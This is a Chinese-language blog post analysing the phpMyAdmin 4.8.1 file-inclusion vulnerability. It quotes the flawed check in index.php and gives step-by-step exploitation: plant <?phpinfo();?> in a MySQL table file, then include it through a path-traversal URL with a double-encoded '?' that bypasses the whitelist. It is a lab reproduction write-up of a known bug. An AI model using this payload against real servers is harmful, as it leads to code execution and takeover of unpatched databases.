phpMyAdmin4.8.1 任意文件包含漏洞分析与利用
作者:myluzh 分类: PHP 长度:2211 阅读:1026
0x01影响版本
phpmyadmin 4.8.1 (需要登陆才能利用)
复现环境下载 https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip
0x02漏洞分析
index.php 55-63行代码
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
0x03漏洞利用
1.执行sql语句,查询当前数据库路径。
show variables like 'datadir'
2.新建一个test数据库,创建一个hello表,创建一个abc类型varchar(255)字段,然后在字段中中插入<?phpinfo();?>
3.利用此文件包含漏洞,直接访问
http://localhost/phpMyAdmin4.8.1/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test/hello.MYD
4.payload部分
/index.php?target=db_sql.php%253f/../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/test/hello.MYD
注意:上面的%253f为?经过两次url编码,这样才能绕过验证。后面为需要包含文件的路径。